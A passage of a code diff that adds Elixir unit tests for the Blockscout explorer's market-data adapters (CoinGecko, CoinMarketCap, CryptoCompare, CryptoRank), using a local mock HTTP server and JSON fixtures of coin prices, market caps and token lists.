CoinGecko.fetch_secondary_coin_price_history(3) + end + end + + describe "fetch_market_cap_history/1" do + test "fetches market cap history", %{bypass: bypass} do + Bypass.expect_once(bypass, "GET", "/coins/native_coin_id/market_chart", fn conn -> + assert conn.query_string == "vs_currency=aed&days=3" + + Conn.resp(conn, 200, json_coin_market_chart()) + end) + + assert {:ok, + [ + %{ + date: ~D[2025-02-12], + market_cap: Decimal.new("2.2") + }, + %{ + date: ~D[2025-02-13], + market_cap: Decimal.new("3.3") + }, + %{ + date: ~D[2025-02-14], + market_cap: Decimal.new("4.4") + } + ]} == CoinGecko.fetch_market_cap_history(3) + end + end + + defp json_coin(coin_id, fiat_value) do + """ + { + "id": "#{coin_id}", + "symbol": "eth", + "name": "Ethereum", + "web_slug": "ethereum", + "asset_platform_id": null, + "platforms": { + "": "" + }, + "detail_platforms": { + "": { + "decimal_place": null, + "contract_address": "" + } + }, + "block_time_in_minutes": 0, + "hashing_algorithm": "Ethash", + "categories": [ + "Smart Contract Platform", + "Layer 1 (L1)", + "Ethereum Ecosystem", + "FTX Holdings", + "Multicoin Capital Portfolio", + "Proof of Stake (PoS)", + "Alameda Research Portfolio", + "Andreessen Horowitz (a16z) Portfolio", + "GMCI Layer 1 Index", + "GMCI 30 Index", + "Delphi Ventures Portfolio", + "Galaxy Digital Portfolio", + "GMCI Index", + "World Liberty Financial Portfolio" + ], + "preview_listing": false, + "public_notice": null, + "additional_notices": [], + "description": { + "en": "Ethereum is a global, open-source platform for decentralized applications. In other words, the vision is to create a world computer that anyone can build applications in a decentralized manner; while all states and data are distributed and publicly accessible. Ethereum supports smart contracts in which developers can write code in order to program digital value. Examples of decentralized apps (dapps) that are built on Ethereum includes tokens, non-fungible tokens, decentralized finance apps, lending protocol, decentralized exchanges, and much more. On Ethereum, all transactions and smart contract executions require a small fee to be paid. This fee is called Gas. In technical terms, Gas refers to the unit of measure on the amount of computational effort required to execute an operation or a smart contract. The more complex the execution operation is, the more gas is required to fulfill that operation. Gas fees are paid entirely in Ether (ETH), which is the native coin of the blockchain. The price of gas can fluctuate from time to time depending on the network demand." + }, + "links": { + "homepage": [ + "https://www.ethereum.org/" + ], + "whitepaper": "", + "blockchain_site": [ + "https://etherscan.io/", + "https://platform.arkhamintelligence.com/explorer/token/ethereum", + "https://ethplorer.io/", + "https://blockchair.com/ethereum", + "https://eth.tokenview.io/", + "https://www.oklink.com/eth", + "https://3xpl.com/ethereum" + ], + "official_forum_url": [], + "chat_url": [], + "announcement_url": [], + "snapshot_url": null, + "twitter_screen_name": "ethereum", + "facebook_username": "", + "bitcointalk_thread_identifier": null, + "telegram_channel_identifier": "", + "subreddit_url": "https://www.reddit.com/r/ethereum", + "repos_url": { + "github": [ + "https://github.com/ethereum/go-ethereum", + "https://github.com/ethereum/py-evm", + "https://github.com/ethereum/aleth", + "https://github.com/ethereum/web3.py", + "https://github.com/ethereum/solidity", + "https://github.com/ethereum/sharding", + "https://github.com/ethereum/casper", + "https://github.com/paritytech/parity" + ], + "bitbucket": [] + } + }, + "image": { + "thumb": "https://coin-images.coingecko.com/coins/images/279/thumb/ethereum.png?1696501628", + "small": "https://coin-images.coingecko.com/coins/images/279/small/ethereum.png?1696501628", + "large": "https://coin-images.coingecko.com/coins/images/279/large/ethereum.png?1696501628" + }, + "country_origin": "", + "genesis_date": "2015-07-30", + "sentiment_votes_up_percentage": 80, + "sentiment_votes_down_percentage": 20, + "ico_data": { + "ico_start_date": "2014-07-20T00:00:00.000Z", + "ico_end_date": "2014-09-01T00:00:00.000Z", + "short_desc": "A decentralized platform for applications", + "description": null, + "links": {}, + "softcap_currency": "", + "hardcap_currency": "", + "total_raised_currency": "", + "softcap_amount": null, + "hardcap_amount": null, + "total_raised": null, + "quote_pre_sale_currency": "", + "base_pre_sale_amount": null, + "quote_pre_sale_amount": null, + "quote_public_sale_currency": "BTC", + "base_public_sale_amount": 1, + "quote_public_sale_amount": 0.00074794, + "accepting_currencies": "", + "country_origin": "", + "pre_sale_start_date": null, + "pre_sale_end_date": null, + "whitelist_url": "", + "whitelist_start_date": null, + "whitelist_end_date": null, + "bounty_detail_url": "", + "amount_for_sale": null, + "kyc_required": true, + "whitelist_available": null, + "pre_sale_available": null, + "pre_sale_ended": false + }, + "watchlist_portfolio_users": 1632634, + "market_cap_rank": 2, + "market_data": { + "current_price": { + "aed": #{fiat_value}, + "btc": 0.02785102, + "usd": 2694.15 + }, + "total_value_locked": null, + "mcap_to_tvl_ratio": null, + "fdv_to_tvl_ratio": null, + "roi": { + "times": 36.23697002905095, + "currency": "btc", + "percentage": 3623.6970029050954 + }, + "ath": { + "aed": 17918.33, + "btc": 0.1474984, + "usd": 4878.26 + }, + "ath_change_percentage": { + "aed": -44.65876, + "btc": -81.09997, + "usd": -44.65725 + }, + "ath_date": { + "aed": "2021-11-10T14:24:19.604Z", + "btc": "2017-06-12T00:00:00.000Z", + "usd": "2021-11-10T14:24:19.604Z" + }, + "atl": { + "aed": 1.59, + "btc": 0.00160204, + "usd": 0.432979 + }, + "atl_change_percentage": { + "aed": 623423.92957, + "btc": 1640.10518, + "usd": 623432.41751 + }, + "atl_date": { + "aed": "2015-10-20T00:00:00.000Z", + "btc": "2015-10-20T00:00:00.000Z", + "usd": "2015-10-20T00:00:00.000Z" + }, + "market_cap": { + "aed": 1193060259516, + "btc": 3357706, + "usd": 324819019743 + }, + "market_cap_rank": 2, + "fully_diluted_valuation": { + "aed": 1193060259516, + "btc": 3357706, + "usd": 324819019743 + }, + "market_cap_fdv_ratio": 1, + "total_volume": { + "aed": 66154765984, + "btc": 186192, + "usd": 18011098825 + }, + "high_24h": { + "aed": 10006.09, + "btc": 0.02815607, + "usd": 2724.21 + }, + "low_24h": { + "aed": 9622.03, + "btc": 0.02742768, + "usd": 2619.67 + }, + "price_change_24h": -28.468197850417, + "price_change_percentage_24h": -1.04562, + "price_change_percentage_7d": -0.954, + "price_change_percentage_14d": -16.22216, + "price_change_percentage_30d": -16.47229, + "price_change_percentage_60d": -31.86721, + "price_change_percentage_200d": -19.51862, + "price_change_percentage_1y": 2.50225, + "market_cap_change_24h": -3492411535.1411, + "market_cap_change_percentage_24h": -1.06375, + "price_change_24h_in_currency": { + "aed": -104.6181430229608, + "btc": -0.000290739745482781, + "usd": -28.468197850417255 + }, + "price_change_percentage_1h_in_currency": { + "btc": -0.25626, + "usd": -0.38994 + }, + "price_change_percentage_24h_in_currency": { + "aed": -1.04616, + "btc": -1.03313, + "usd": -1.04562 + }, + "price_change_percentage_7d_in_currency": { + "aed": -0.95357, + "btc": -0.18775, + "usd": -0.954 + }, + "price_change_percentage_14d_in_currency": { + "aed": -16.222, + "btc": -9.93596, + "usd": -16.22216 + }, + "price_change_percentage_30d_in_currency": { + "aed": -16.47229, + "btc": -16.10832, + "usd": -16.47229 + }, + "price_change_percentage_60d_in_currency": { + "aed": -31.86721, + "btc": -26.31145, + "usd": -31.86721 + }, + "price_change_percentage_200d_in_currency": { + "aed": -19.51741, + "btc": -42.1504, + "usd": -19.51862 + }, + "price_change_percentage_1y_in_currency": { + "aed": 2.50504, + "btc": -47.62855, + "usd": 2.50225 + }, + "market_cap_change_24h_in_currency": { + "aed": -12834193797.197998, + "btc": -33744.64172904473, + "usd": -3492411535.1411133 + }, + "market_cap_change_percentage_24h_in_currency": { + "aed": -1.06429, + "btc": -0.99499, + "usd": -1.06375 + }, + "total_supply": 120547760.0137619, + "max_supply": null, + "max_supply_infinite": true, + "circulating_supply": 120547760.0137619, + "last_updated": "2025-02-14T05:40:07.774Z" + }, + "status_updates": [], + "last_updated": "2025-02-14T05:40:07.774Z" + } + """ + end + + defp json_coins_list do + """ + [{ + "id": "1", + "symbol": "1", + "name": "1", + "platforms": { + "test": "0x0000000000000000000000000000000000000001" + } + }, + { + "id": "2", + "symbol": "2", + "name": "2", + "platforms": { + "binance-smart-chain": "0x012a6a39eec345a0ea2b994b17875e721d17ee45" + } + }, + { + "id": "3", + "symbol": "3", + "name": "3", + "platforms": { + "test": "0x0000000000000000000000000000000000000003" + } + }, + { + "id": "4", + "symbol": "4", + "name": "4", + "platforms": { + "test": "0x0000000000000000000000000000000000000004", + "binance-smart-chain": "0x012a6a39eec345a0ea2b994b17875e721d17ee45" + } + }] + """ + end + + defp json_simple_price do + """ + { + "1": { + "aed": 1, + "aed_market_cap": 100, + "aed_24h_vol": 10 + }, + "3": { + "aed": 3.3, + "aed_market_cap": 300.03, + "aed_24h_vol": 33.333 + }, + "4": { + "aed": 4, + "aed_market_cap": 4, + "aed_24h_vol": 4 + } + } + """ + end + + defp json_coin_market_chart do + """ + { + "prices": [ + [ + 1739318400000, + 1.1 + ], + [ + 1739404800000, + 2.2 + ], + [ + 1739491200000, + 3.3 + ], + [ + 1739518106000, + 4.4 + ] + ], + "market_caps": [ + [ + 1739318400000, + 1.1 + ], + [ + 1739404800000, + 2.2 + ], + [ + 1739491200000, + 3.3 + ], + [ + 1739518106000, + 4.4 + ] + ], + "total_volumes": [ + [ + 1739318400000, + 77915018742.98099 + ], + [ + 1739404800000, + 97348474865.08902 + ], + [ + 1739491200000, + 69559976333.78288 + ], + [ + 1739518106000, + 64287364164.68306 + ] + ] + } + """ + end +end diff --git a/apps/explorer/test/explorer/market/source/coin_market_cap_test.exs b/apps/explorer/test/explorer/market/source/coin_market_cap_test.exs new file mode 100644 index 000000000000..9c57b75deaac --- /dev/null +++ b/apps/explorer/test/explorer/market/source/coin_market_cap_test.exs @@ -0,0 +1,316 @@ +defmodule Explorer.Market.Source.CoinMarketCapTest do + use ExUnit.Case + + alias Explorer.Market.Source + alias Explorer.Market.Source.CoinMarketCap + alias Plug.Conn + + setup do + bypass = Bypass.open() + + coin_market_cap_configuration = Application.get_env(:explorer, CoinMarketCap) + source_configuration = Application.get_env(:explorer, Explorer.Market.Source) + + Application.put_env(:explorer, Explorer.Market.Source, + native_coin_source: CoinMarketCap, + secondary_coin_source: CoinMarketCap, + tokens_source: CoinMarketCap, + native_coin_history_source: CoinMarketCap, + secondary_coin_history_source: CoinMarketCap, + market_cap_history_source: CoinMarketCap, + tvl_history_source: CoinMarketCap + ) + + Application.put_env(:explorer, CoinMarketCap, + base_url: "http://localhost:#{bypass.port}", + coin_id: "123", + secondary_coin_id: "456", + currency_id: "2781" + ) + + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + on_exit(fn -> + Application.put_env(:explorer, Explorer.Market.Source, source_configuration) + Application.put_env(:explorer, CoinMarketCap, coin_market_cap_configuration) + Application.put_env(:tesla, :adapter, Explorer.Mock.TeslaAdapter) + end) + + {:ok, bypass: bypass} + end + + describe "fetch_native_coin/0" do + test "fetches native coin", %{bypass: bypass} do + Bypass.expect_once(bypass, "GET", "/cryptocurrency/quotes/latest", fn conn -> + assert conn.query_string == "id=123&convert_id=2781&aux=circulating_supply,total_supply" + Conn.resp(conn, 200, json_cryptocurrency_quotes_latest("123", "2781", "10.1")) + end) + + assert {:ok, + %Explorer.Market.Token{ + available_supply: Decimal.new("19824162"), + total_supply: Decimal.new("19824162"), + btc_value: nil, + last_updated: ~U[2025-02-14 14:34:00.000Z], + market_cap: Decimal.new("1917742660653.5574"), + tvl: Decimal.new("1123.123"), + name: "Bitcoin", + symbol: "BTC", + fiat_value: Decimal.new("10.1"), + volume_24h: Decimal.new("28724591782.645985"), + image_url: nil + }} == CoinMarketCap.fetch_native_coin() + end + end + + describe "fetch_secondary_coin/0" do + test "fetches secondary coin", %{bypass: bypass} do + Bypass.expect_once(bypass, "GET", "/cryptocurrency/quotes/latest", fn conn -> + assert conn.query_string == "id=456&convert_id=2781&aux=circulating_supply,total_supply" + Conn.resp(conn, 200, json_cryptocurrency_quotes_latest("456", "2781", "20.2")) + end) + + assert {:ok, + %Explorer.Market.Token{ + available_supply: Decimal.new("19824162"), + total_supply: Decimal.new("19824162"), + btc_value: nil, + last_updated: ~U[2025-02-14 14:34:00.000Z], + market_cap: Decimal.new("1917742660653.5574"), + tvl: Decimal.new("1123.123"), + name: "Bitcoin", + symbol: "BTC", + fiat_value: Decimal.new("20.2"), + volume_24h: Decimal.new("28724591782.645985"), + image_url: nil + }} == CoinMarketCap.fetch_secondary_coin() + end + end + + describe "fetch_native_coin_price_history/1" do + test "fetches native coin price history", %{bypass: bypass} do + Bypass.expect_once(bypass, "GET", "/cryptocurrency/quotes/historical", fn conn -> + assert conn.query_string == "id=123&count=3&interval=daily&convert_id=2781&aux=price" + Conn.resp(conn, 200, json_cryptocurrency_quotes_historical_price("2781")) + end) + + assert {:ok, + [ + %{ + date: ~D[2025-02-11], + opening_price: Decimal.new("1.1"), + closing_price: Decimal.new("2.2"), + secondary_coin: false + }, + %{ + date: ~D[2025-02-12], + opening_price: Decimal.new("2.2"), + closing_price: Decimal.new("3.3"), + secondary_coin: false + }, + %{ + date: ~D[2025-02-13], + opening_price: Decimal.new("3.3"), + closing_price: Decimal.new("3.3"), + secondary_coin: false + } + ]} == CoinMarketCap.fetch_native_coin_price_history(3) + end + end + + describe "fetch_secondary_coin_price_history/1" do + test "fetches secondary coin price history", %{bypass: bypass} do + Bypass.expect_once(bypass, "GET", "/cryptocurrency/quotes/historical", fn conn -> + assert conn.query_string == "id=456&count=3&interval=daily&convert_id=2781&aux=price" + Conn.resp(conn, 200, json_cryptocurrency_quotes_historical_price("2781")) + end) + + assert {:ok, + [ + %{ + date: ~D[2025-02-11], + opening_price: Decimal.new("1.1"), + closing_price: Decimal.new("2.2"), + secondary_coin: true + }, + %{ + date: ~D[2025-02-12], + opening_price: Decimal.new("2.2"), + closing_price: Decimal.new("3.3"), + secondary_coin: true + }, + %{ + date: ~D[2025-02-13], + opening_price: Decimal.new("3.3"), + closing_price: Decimal.new("3.3"), + secondary_coin: true + } + ]} == CoinMarketCap.fetch_secondary_coin_price_history(3) + end + end + + describe "fetch_market_cap_history/1" do + test "fetches market cap history", %{bypass: bypass} do + Bypass.expect_once(bypass, "GET", "/cryptocurrency/quotes/historical", fn conn -> + assert conn.query_string == "id=123&count=3&interval=daily&convert_id=2781&aux=market_cap" + Conn.resp(conn, 200, json_cryptocurrency_quotes_historical_market_cap("2781")) + end) + + assert {:ok, + [ + %{ + date: ~D[2025-02-11], + market_cap: Decimal.new("1.1") + }, + %{ + date: ~D[2025-02-12], + market_cap: Decimal.new("2.2") + }, + %{ + date: ~D[2025-02-13], + market_cap: Decimal.new("3.3") + } + ]} == CoinMarketCap.fetch_market_cap_history(3) + end + end + + defp json_cryptocurrency_quotes_latest(coin_id, quote_, price) do + """ + { + "status": { + "timestamp": "2025-02-14T14:36:19.381Z", + "error_code": 0, + "error_message": null, + "elapsed": 40, + "credit_count": 1, + "notice": null + }, + "data": { + "#{coin_id}": { + "id": "#{coin_id}", + "name": "Bitcoin", + "symbol": "BTC", + "slug": "bitcoin", + "circulating_supply": 19824162, + "total_supply": 19824162, + "infinite_supply": false, + "self_reported_circulating_supply": null, + "self_reported_market_cap": null, + "tvl_ratio": null, + "last_updated": "2025-02-14T14:34:00.000Z", + "quote": { + "#{quote_}": { + "price": #{price}, + "volume_24h": 28724591782.645985, + "volume_change_24h": -36.6471, + "percent_change_1h": -0.18680567, + "percent_change_24h": 0.87814048, + "percent_change_7d": -2.76152837, + "percent_change_30d": -2.20875276, + "percent_change_60d": -7.43141934, + "percent_change_90d": 6.40010375, + "market_cap": 1917742660653.5574, + "market_cap_dominance": 59.6002, + "fully_diluted_market_cap": 2031490454614.16, + "tvl": 1123.123, + "last_updated": "2025-02-14T14:34:00.000Z" + } + } + } + } + } + """ + end + + defp json_cryptocurrency_quotes_historical_price(quote_) do + """ + { + "status": { + "timestamp": "2025-02-14T15:25:12.899Z", + "error_code": 0, + "error_message": null, + "elapsed": 24, + "credit_count": 1, + "notice": null + }, + "data": { + "quotes": [ + { + "timestamp": "2025-02-11T00:00:00.000Z", + "quote": { + "#{quote_}": { + "percent_change_1h": 0.027528276011, + "percent_change_24h": 5.984576760753, + "percent_change_7d": -1.059038246456, + "percent_change_30d": -20.606205609488, + "price": 1.1 + } + } + }, + { + "timestamp": "2025-02-12T00:00:00.000Z", + "quote": { + "#{quote_}": { + "percent_change_1h": -0.400785518608, + "percent_change_24h": -2.314299841771, + "percent_change_7d": 1.485637309274, + "percent_change_30d": -20.770258984011, + "price": 2.2 + } + } + }, + { + "timestamp": "2025-02-13T00:00:00.000Z", + "quote": { + "#{quote_}": { + "percent_change_1h": 0.245180938342, + "percent_change_24h": 5.905610772005, + "percent_change_7d": 10.144915884842, + "percent_change_30d": -13.587075187197, + "price": 3.3 + } + } + } + ], + "id": 1765, + "name": "EOS", + "symbol": "EOS" + } + } + """ + end + + defp json_cryptocurrency_quotes_historical_market_cap(quote_) do + """ + { + "status": { + "timestamp": "2025-02-14T15:50:40.656Z", + "error_code": 0, + "error_message": null, + "elapsed": 12, + "credit_count": 1, + "notice": null + }, + "data": { + "quotes": [ + { + "timestamp": "2025-02-11T00:00:00.000Z", + "quote": { "2781": { "market_cap": 1.1 } } + }, + { + "timestamp": "2025-02-12T00:00:00.000Z", + "quote": { "2781": { "market_cap": 2.2 } } + }, + { + "timestamp": "2025-02-13T00:00:00.000Z", + "quote": { "2781": { "market_cap": 3.3 } } + } + ], + "id": 1765, + "name": "EOS", + "symbol": "EOS" + } + } + """ + end +end diff --git a/apps/explorer/test/explorer/market/source/crypto_compare_test.exs b/apps/explorer/test/explorer/market/source/crypto_compare_test.exs new file mode 100644 index 000000000000..963ecaa93d71 --- /dev/null +++ b/apps/explorer/test/explorer/market/source/crypto_compare_test.exs @@ -0,0 +1,162 @@ +defmodule Explorer.Market.Source.CryptoCompareTest do + use ExUnit.Case, async: false + + alias Explorer.Market.Source.CryptoCompare + alias Plug.Conn + + setup do + bypass = Bypass.open() + + coin = Application.get_env(:explorer, :coin) + source_configuration = Application.get_env(:explorer, Explorer.Market.Source) + crypto_compare_configuration = Application.get_env(:explorer, CryptoCompare) + + Application.put_env(:explorer, :coin, "TEST") + + Application.put_env(:explorer, Explorer.Market.Source, + native_coin_source: CryptoCompare, + secondary_coin_source: CryptoCompare, + tokens_source: CryptoCompare, + native_coin_history_source: CryptoCompare, + secondary_coin_history_source: CryptoCompare, + market_cap_history_source: CryptoCompare, + tvl_history_source: CryptoCompare + ) + + Application.put_env(:explorer, CryptoCompare, + base_url: "http://localhost:#{bypass.port}", + coin_symbol: "TEST", + secondary_coin_symbol: "SECONDARY_TEST", + currency: "AED" + ) + + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + on_exit(fn -> + Application.put_env(:explorer, :coin, coin) + Application.put_env(:explorer, Explorer.Market.Source, source_configuration) + Application.put_env(:explorer, CryptoCompare, crypto_compare_configuration) + Application.put_env(:tesla, :adapter, Explorer.Mock.TeslaAdapter) + end) + + {:ok, bypass: bypass} + end + + describe "fetch_native_coin_price_history/1" do + test "fetches native coin price history", %{bypass: bypass} do + Bypass.expect_once(bypass, "GET", "data/v2/histoday", fn conn -> + assert conn.query_string == + "fsym=TEST&limit=3&tsym=AED&extraParams=Blockscout/#{Application.spec(:explorer)[:vsn]}" + + Conn.resp(conn, 200, json_data_v2_histoday()) + end) + + assert {:ok, + [ + %{ + date: ~D[2025-02-12], + opening_price: Decimal.new("1.1"), + closing_price: Decimal.new("2.2"), + secondary_coin: false + }, + %{ + date: ~D[2025-02-13], + opening_price: Decimal.new("2.2"), + closing_price: Decimal.new("3.3"), + secondary_coin: false + }, + %{ + date: ~D[2025-02-14], + opening_price: Decimal.new("3.3"), + closing_price: Decimal.new("4.4"), + secondary_coin: false + } + ]} == CryptoCompare.fetch_native_coin_price_history(3) + end + end + + describe "fetch_secondary_coin_price_history/1" do + test "fetches secondary coin price history", %{bypass: bypass} do + Bypass.expect_once(bypass, "GET", "data/v2/histoday", fn conn -> + assert conn.query_string == + "fsym=SECONDARY_TEST&limit=3&tsym=AED&extraParams=Blockscout/#{Application.spec(:explorer)[:vsn]}" + + Conn.resp(conn, 200, json_data_v2_histoday()) + end) + + assert {:ok, + [ + %{ + date: ~D[2025-02-12], + opening_price: Decimal.new("1.1"), + closing_price: Decimal.new("2.2"), + secondary_coin: true + }, + %{ + date: ~D[2025-02-13], + opening_price: Decimal.new("2.2"), + closing_price: Decimal.new("3.3"), + secondary_coin: true + }, + %{ + date: ~D[2025-02-14], + opening_price: Decimal.new("3.3"), + closing_price: Decimal.new("4.4"), + secondary_coin: true + } + ]} == CryptoCompare.fetch_secondary_coin_price_history(3) + end + end + + defp json_data_v2_histoday do + """ + { + "Response": "Success", + "Message": "", + "HasWarning": false, + "Type": 100, + "RateLimit": {}, + "Data": { + "Aggregated": false, + "TimeFrom": 1739318400, + "TimeTo": 1739491200, + "Data": [ + { + "time": 1739318400, + "high": 10229.02, + "low": 9666.32, + "open": 1.1, + "volumefrom": 91397.18, + "volumeto": 916559418.68, + "close": 2.2, + "conversionType": "multiply", + "conversionSymbol": "BTC" + }, + { + "time": 1739404800, + "high": 9923.31, + "low": 9641.59, + "open": 2.2, + "volumefrom": 60015.86, + "volumeto": 585622722.7, + "close": 3.3, + "conversionType": "multiply", + "conversionSymbol": "BTC" + }, + { + "time": 1739491200, + "high": 10089.99, + "low": 9719.38, + "open": 3.3, + "volumefrom": 31936.17, + "volumeto": 319960020.92, + "close": 4.4, + "conversionType": "multiply", + "conversionSymbol": "BTC" + } + ] + } + } + """ + end +end diff --git a/apps/explorer/test/explorer/market/source/crypto_rank_test.exs b/apps/explorer/test/explorer/market/source/crypto_rank_test.exs new file mode 100644 index 000000000000..fefa411f0386 --- /dev/null +++ b/apps/explorer/test/explorer/market/source/crypto_rank_test.exs @@ -0,0 +1,422 @@ +defmodule Explorer.Market.Source.CryptoRankTest do + use ExUnit.Case + + alias Explorer.Market.Source.CryptoRank + alias Plug.Conn + + setup do + bypass = Bypass.open() + old_env = Application.get_env(:explorer, CryptoRank, []) + + Application.put_env( + :explorer, + CryptoRank, + Keyword.merge( + old_env, + platform: 96, + base_url: "http://localhost:#{bypass.port}", + api_key: "api_key", + coin_id: "3", + secondary_coin_id: "4" + ) + ) + + Application.put_env(:tesla, :adapter, Tesla.Adapter.Mint) + + on_exit(fn -> + Application.put_env(:explorer, CryptoRank, old_env) + Application.put_env(:tesla, :adapter, Explorer.Mock.TeslaAdapter) + end) + + {:ok, old_env: old_env, bypass: bypass} + end + + describe "native_coin_fetching_enabled?" do + test "returns true if coin_id is configured" do + assert CryptoRank.native_coin_fetching_enabled?() + end + + test "returns false if coin_id is not configured", %{old_env: old_env} do + Application.put_env(:explorer, CryptoRank, Keyword.merge(old_env, coin_id: nil)) + + refute CryptoRank.native_coin_fetching_enabled?() + end + end + + describe "fetch_native_coin" do + test "fetches native coin", %{bypass: bypass} do + Bypass.expect_once(bypass, "GET", "/currencies/3", fn conn -> + assert conn.query_string == "api_key=api_key" + Conn.resp(conn, 200, json_coin(3, 2514.75325703684)) + end) + + assert {:ok, + %Explorer.Market.Token{ + available_supply: Decimal.new("120723694"), + btc_value: Decimal.new("0.0241643324256002"), + fiat_value: Decimal.new("2514.75325703684"), + image_url: "https://img.cryptorank.io/coins/60x60.ethereum1524754015525.png", + last_updated: ~U[2025-06-02 14:22:32.759Z], + market_cap: Decimal.new("303823300492.5147"), + name: "Ethereum", + symbol: "ETH", + total_supply: Decimal.new("120723694"), + tvl: nil, + volume_24h: Decimal.new("5826359746") + }} == + CryptoRank.fetch_native_coin() + end + end + + describe "secondary_coin_fetching_enabled?" do + test "returns true if secondary_coin_id is configured" do + assert CryptoRank.secondary_coin_fetching_enabled?() + end + + test "returns false if secondary_coin_id is not configured", %{old_env: old_env} do + Application.put_env(:explorer, CryptoRank, Keyword.merge(old_env, secondary_coin_id: nil)) + + refute CryptoRank.secondary_coin_fetching_enabled?() + end + end + + describe "fetch_secondary_coin" do + test "fetches secondary coin", %{bypass: bypass} do + Bypass.expect_once(bypass, "GET", "/currencies/4", fn conn -> + assert conn.query_string == "api_key=api_key" + Conn.resp(conn, 200, json_coin(4, 1000.123456789)) + end) + + assert {:ok, + %Explorer.Market.Token{ + available_supply: Decimal.new("120723694"), + btc_value: Decimal.new("0.0241643324256002"), + fiat_value: Decimal.new("1000.123456789"), + image_url: "https://img.cryptorank.io/coins/60x60.ethereum1524754015525.png", + last_updated: ~U[2025-06-02 14:22:32.759Z], + market_cap: Decimal.new("303823300492.5147"), + name: "Ethereum", + symbol: "ETH", + total_supply: Decimal.new("120723694"), + tvl: nil, + volume_24h: Decimal.new("5826359746") + }} == + CryptoRank.fetch_secondary_coin() + end + end + + describe "tokens_fetching_enabled?" do + test "returns true if coin_id is configured" do + assert CryptoRank.tokens_fetching_enabled?() + end + + test "returns false if coin_id is not configured", %{old_env: old_env} do + Application.put_env(:explorer, CryptoRank, Keyword.merge(old_env, platform: nil)) + + refute CryptoRank.tokens_fetching_enabled?() + end + end + + describe "fetch_tokens" do + test "fetches tokens", %{bypass: bypass} do + Bypass.expect(bypass, "GET", "/dedicated/blockscout/currencies/contracts/96", fn conn -> + case conn.query_string do + "api_key=api_key&limit=50&skip=0" -> + Conn.resp(conn, 200, json_tokens()) + + "api_key=api_key&limit=50&skip=50" -> + Conn.resp(conn, 200, json_tokens_2nd_page()) + + _ -> + raise "Unexpected query string: #{conn.query_string}" + end + end) + + assert {:ok, 50, false, first_batch} = CryptoRank.fetch_tokens(nil, 50) + assert length(first_batch) == 50 + + # cspell:disable + + assert { + :ok, + nil, + true, + [ + %{ + name: "Heurist", + type: "ERC-20", + symbol: "HEU", + contract_address_hash: %Explorer.Chain.Hash{ + byte_count: 20, + bytes: + <<171, 236, 94, 203, 224, 139, 108, 2, 245, 201, 162, 255, 130, 105, 110, 30, 125, 182, 249, + 191>> + }, + fiat_value: Decimal.new("0.019624517115"), + circulating_market_cap: Decimal.new("3046537.982244971760"), + volume_24h: Decimal.new("214644.7428230154531300") + }, + %{ + name: "Zyfi", + type: "ERC-20", + symbol: "ZFI", + contract_address_hash: %Explorer.Chain.Hash{ + byte_count: 20, + bytes: <<93, 13, 123, 202, 5, 14, 46, 152, 253, 74, 94, 141, 59, 168, 35, 180, 159, 57, 134, 141>> + }, + fiat_value: Decimal.new("0.004467522847"), + circulating_market_cap: Decimal.new("1019602.903569369320"), + volume_24h: Decimal.new("527.5318580293320804") + } + ] + } == CryptoRank.fetch_tokens(50, 50) + + # cspell:enable + end + end + + describe "native_coin_price_history_fetching_enabled?" do + test "returns true if coin_id is configured" do + assert CryptoRank.native_coin_price_history_fetching_enabled?() + end + + test "returns false if coin_id is not configured", %{old_env: old_env} do + Application.put_env(:explorer, CryptoRank, Keyword.merge(old_env, coin_id: nil)) + + refute CryptoRank.native_coin_price_history_fetching_enabled?() + end + end + + describe "fetch_native_coin_price_history" do + test "fetches native coin price history", %{bypass: bypass} do + previous_days = 5 + from = Date.utc_today() |> Date.add(-previous_days) |> Date.to_iso8601() + to = Date.utc_today() |> Date.to_iso8601() + + Bypass.expect_once(bypass, "GET", "/currencies/3/sparkline", fn conn -> + assert conn.query_string == "api_key=api_key&interval=1d&from=#{from}&to=#{to}" + + Conn.resp(conn, 200, json_native_coin_history()) + end) + + assert {:ok, + [ + %{ + closing_price: Decimal.new("2681.794582393094"), + date: ~D[2025-05-28], + opening_price: Decimal.new("2662.609005038795"), + secondary_coin: false + }, + %{ + closing_price: Decimal.new("2631.742984069461"), + date: ~D[2025-05-29], + opening_price: Decimal.new("2681.794582393094"), + secondary_coin: false + }, + %{ + date: ~D[2025-05-30], + closing_price: Decimal.new("2532.024768716731"), + opening_price: Decimal.new("2631.742984069461"), + secondary_coin: false + }, + %{ + date: ~D[2025-05-31], + closing_price: Decimal.new("2528.507007933771"), + opening_price: Decimal.new("2532.024768716731"), + secondary_coin: false + }, + %{ + date: ~D[2025-06-01], + closing_price: Decimal.new("2528.507007933771"), + opening_price: Decimal.new("2528.507007933771"), + secondary_coin: false + } + ]} == + CryptoRank.fetch_native_coin_price_history(previous_days) + end + end + + describe "secondary_coin_price_history_fetching_enabled?" do + test "returns true if secondary_coin_id is configured" do + assert CryptoRank.secondary_coin_price_history_fetching_enabled?() + end + + test "returns false if secondary_coin_id is not configured", %{old_env: old_env} do + Application.put_env(:explorer, CryptoRank, Keyword.merge(old_env, secondary_coin_id: nil)) + + refute CryptoRank.secondary_coin_price_history_fetching_enabled?() + end + end + + describe "fetch_secondary_coin_price_history" do + test "fetches secondary coin price history", %{bypass: bypass} do + previous_days = 5 + from = Date.utc_today() |> Date.add(-previous_days) |> Date.to_iso8601() + to = Date.utc_today() |> Date.to_iso8601() + + Bypass.expect_once(bypass, "GET", "/currencies/4/sparkline", fn conn -> + assert conn.query_string == "api_key=api_key&interval=1d&from=#{from}&to=#{to}" + + Conn.resp(conn, 200, json_secondary_coin_history()) + end) + + assert {:ok, + [ + %{ + closing_price: Decimal.new("6.558096674134"), + date: ~D[2025-05-28], + opening_price: Decimal.new("6.669271727877"), + secondary_coin: true + }, + %{ + closing_price: Decimal.new("6.443746862121"), + date: ~D[2025-05-29], + opening_price: Decimal.new("6.558096674134"), + secondary_coin: true + }, + %{ + closing_price: Decimal.new("5.80657534093"), + date: ~D[2025-05-30], + opening_price: Decimal.new("6.443746862121"), + secondary_coin: true + }, + %{ + closing_price: Decimal.new("5.903371964672"), + date: ~D[2025-05-31], + opening_price: Decimal.new("5.80657534093"), + secondary_coin: true + }, + %{ + closing_price: Decimal.new("5.903371964672"), + date: ~D[2025-06-01], + opening_price: Decimal.new("5.903371964672"), + secondary_coin: true + } + ]} == + CryptoRank.fetch_secondary_coin_price_history(previous_days) + end + end + + describe "market_cap_history_fetching_enabled?" do + test "ignored" do + assert CryptoRank.market_cap_history_fetching_enabled?() == :ignore + end + end + + describe 